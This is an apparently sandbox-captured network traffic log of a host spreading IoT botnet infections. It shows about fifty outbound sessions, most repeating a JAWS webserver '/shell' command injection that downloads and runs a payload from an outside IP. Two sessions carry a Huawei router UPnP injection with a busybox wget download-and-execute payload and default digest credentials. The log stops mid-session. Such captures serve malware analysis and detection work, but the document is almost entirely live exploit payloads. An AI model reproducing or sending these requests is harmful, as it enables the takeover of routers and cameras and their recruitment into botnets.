Jan 5, 2025 14:26:59.674592018 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	33370	49.173.231.143	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674613953 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	41564	20.87.241.88	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674628019 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	35758	199.149.8.144	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674668074 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	54086	88.28.204.158	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674671888 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	47862	94.138.141.185	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674690008 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	55128	72.56.147.96	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674700975 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	46868	84.142.197.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674725056 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	44540	105.173.184.192	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674737930 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	56132	99.165.239.189	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674751997 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	51228	99.107.143.62	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674773932 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	38494	126.184.49.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674788952 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	55462	90.167.60.3	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674803972 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	51912	59.172.117.26	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674822092 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	47242	99.44.37.44	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674841881 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	38694	177.16.157.212	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674858093 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	59688	94.35.93.233	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674876928 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	50204	64.101.190.89	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674885035 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	46792	154.45.118.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674907923 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	42248	151.106.177.94	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674923897 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	35922	57.62.244.9	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674947023 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	38152	5.197.123.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674969912 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	58376	36.162.123.56	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674988985 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	45606	51.92.13.108	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675000906 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	43442	35.41.199.92	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675015926 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	55508	44.47.134.77	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675043106 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	59958	41.87.48.244	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675052881 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	56634	143.179.29.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675067902 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	39848	123.140.128.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675091028 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	42328	121.29.46.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675096989 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	46776	49.191.8.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675123930 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	57204	188.181.2.153	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675138950 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	41928	130.237.101.84	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675158978 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	40626	209.47.23.74	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675177097 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	41666	105.224.183.34	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.675199032 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	52402	54.76.185.62	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:00.724989891 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	56132	152.183.183.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:00.724998951 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	38560	172.178.47.118	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:00.760654926 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	33176	161.110.36.170	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.717753887 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	43438	5.162.169.172	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.717963934 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	57092	170.18.12.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.717979908 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	50226	18.243.227.250	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718009949 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	51486	118.161.4.217	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718039989 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	41266	210.22.31.139	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718046904 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	40082	42.224.57.42	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718087912 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	47738	175.115.247.152	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718133926 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	55204	113.80.14.65	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718216896 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	49820	118.142.10.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718235970 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	57898	144.207.69.32	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718281984 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	58500	109.175.231.58	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.718508005 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	42614	156.44.246.125	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.748595953 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	52988	41.75.41.148	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.753617048 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	51966	157.114.74.122	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:27:01.786382914 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	35846	42.177.251.132	80

Timestamp	Bytes transferred	Direction	Data
